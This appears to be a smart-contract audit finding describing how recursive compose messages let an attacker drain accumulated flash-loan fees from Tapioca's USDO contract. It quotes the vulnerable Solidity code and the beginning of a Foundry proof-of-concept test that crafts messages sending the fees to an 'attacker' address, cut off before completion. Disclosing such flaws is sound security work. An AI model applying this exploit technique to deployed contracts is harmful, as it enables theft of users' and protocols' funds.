MEDIUM severity: The vulnerability allows an attacker to steal all generated USDO fees by leveraging a recursive `_lz. The vulnerability allows an attacker to steal all generated USDO fees by leveraging a recursive `_lzCompose()` call triggered in compose calls. The `USDOFlashloanHelper` contract allows users to take USDO flash loans, which generates fees that are transferred to the USDO contract. The `extractFees()...

Vulnerable code:
```\nfunction flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)\n    external\n    override\n    returns (bool)\n{\n    IERC20(address(usdo)).safeTransferFrom(address(receiver), address(usdo), fee);\n    _flashloanEntered = false;\n    return true;\n}\n```\n```\nfunction extractFees() external onlyOwner {\n    if (_fees > 0) {\n        uint256 balance = balanceOf(address(this));\n\n        uint256 toExtract = balance >= _fees? _fees : balance;\n        _fees -= toExtract;\n        _transfer(address(this), msg.sender, toExtract);\n    }\n}\n```\n```\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\n    // Decode OFT compose message.\n    (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) = \n        TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\n\n    // Call Permits/approvals if the msg type is a permit/approval.\n    // If the msg type is not a permit/approval, it will call the other receivers. \n    if (msgType_ == MSG_REMOTE_TRANSFER) {   \n        _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);   \n    } else if (!_extExec(msgType_, tapComposeMsg_)) { \n        // Check if the TOE extender is set and the msg type is valid. If so, call the TOE extender to handle msg.\n        if ( \n            address(tapiocaOmnichainReceiveExtender)!= address(0)\n                && tapiocaOmnichainReceiveExtender.isMsgTypeValid(msgType_)\n        ) {  \n            bytes memory callData = abi.encodeWithSelector(\n                ITapiocaOmnichainReceiveExtender.toeComposeReceiver.selector,\n                msgType_,\n                srcChainSender_, \n                tapComposeMsg_\n            ); \n            (bool success, bytes memory returnData) = \n                address(tapiocaOmnichainReceiveExtender).delegatecall(callData);\n            if (!success) {\n                revert(_getTOEExtenderRevertMsg(returnData));\n            }\n        } else {\n            // If no TOE extender is set or msg type doesn't match extender, try to call the internal receiver.\n            if (!_toeComposeReceiver(msgType_, srcChainSender_, tapComposeMsg_)) {\n                revert InvalidMsgType(msgType_);\n            }\n        }\n    }\n    \n    emit ComposeReceived(msgType_, _guid, tapComposeMsg_);\n    if (nextMsg_.length > 0) {\n        _lzCompose(address(this), _guid, nextMsg_);\n    }\n}\n```\n```\n// USDO.sol\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\n    RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\n\n    // @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.\n    _internalTransferWithAllowance(\n        remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\n    );   \n\n    // rest of code\n}\n\nfunction _internalTransferWithAllowance(address _owner, address srcChainSender, uint256 _amount) internal {\n    if (_owner!= srcChainSender) {\n        _spendAllowance(_owner, srcChainSender, _amount);\n    }\n\n    _transfer(_owner, address(this), _amount);\n}\n```\n```\n// SPDX-License-Identifier: LZBL-1.2\n\npragma solidity ^0.8.20;\n\nstruct MessagingReceipt {\n    bytes32 guid;\n    uint64 nonce;\n    MessagingFee fee;\n}\n\nstruct MessagingParams {\n    uint32 dstEid;\n    bytes32 receiver;\n    bytes memory message;\n    bytes memory options;\n    bool payInLzToken;\n}\n\nstruct MessagingFee {\n    uint256 nativeFee;\n    uint256 lzTokenFee;\n}\n\ncontract MockEndpointV2 {\n    function send(\n        MessagingParams calldata _params,\n        address _refundAddress\n    ) external payable returns (MessagingReceipt memory receipt) {\n        // DO NOTHING\n    }\n\n    function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message) external {\n        // DO NOTHING\n    }\n}\n```\n```\nfunction testVuln_USDOBorrowFeesCanBeDrained() public {\n    // Change configured endpoints\n    endpoints[aEid] = address(mockEndpointV2A);\n    endpoints[bEid] = address(mockEndpointV2B);\n\n    aUsdo.setEndpoint(address(mockEndpointV2A));\n    bUsdo.setEndpoint(address(mockEndpointV2B));\n\n    // Mock generated fees\n    deal(address(bUsdo), address(bUsdo), 100 ether);\n\n    ////////////////////////////////////////////////////////\n    //                 PREPARE MESSAGES                   //\n    ////////////////////////////////////////////////////////\n\n    // NEXT MESSAGE    B --> A      (EXECUTED AS THE nextMsg after the INITIAL  B --> A MESSAGE)            \n\n    SendParam memory sendParamAToBVictim = SendParam({\n        dstEid: aEid,\n        to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\n        amountLD: 100 ether, // IMPORTANT: This must be set to the amount we want to steal\n        minAmountLD: 100 ether,\n        extraOptions: bytes(""),\n        composeMsg: bytes(""),\n        oftCmd: bytes("")\n    });  \n    MessagingFee memory feeAToBVictim = MessagingFee({\n        nativeFee: 0,\n        lzTokenFee: 0\n    });\n    \n    LZSendParam memory lzSendParamAToBVictim = LZSendParam({\n        sendParam: sendParamAToBVictim,\n        fee: feeAToBVictim,\n        extraOptions: bytes(""),\n        refundAddress: makeAddr("attacker")\n    });\n\n    RemoteTransferMsg memory remoteTransferMsgVictim = RemoteTransferMsg({\n        owner: address(bUsdo), // IMPORTANT: This will make the attack be triggered as bUsdo will become the srcChainSender in the nextMsg compose call\n        composeMsg: bytes(""),\n        lzSendParam: lzSendParamAToBVictim\n    });\n\n    uint16 index; // needed to bypass Solidity's encoding literal error\n    // Create Toe Compose message for the victim\n    bytes memory toeComposeMsgVictim = abi.encodePacked(\n        PT_REMOTE_TRANSFER, // msgType\n        uint16(abi.encode(remoteTransferMsgVictim).length), // message length (0)\n        index, // index\n        abi.encode(remoteTransferMsgVictim), // message\n        bytes("") // next message\n    );\n\n    // SECOND MESSAGE (composed)     B --->\n```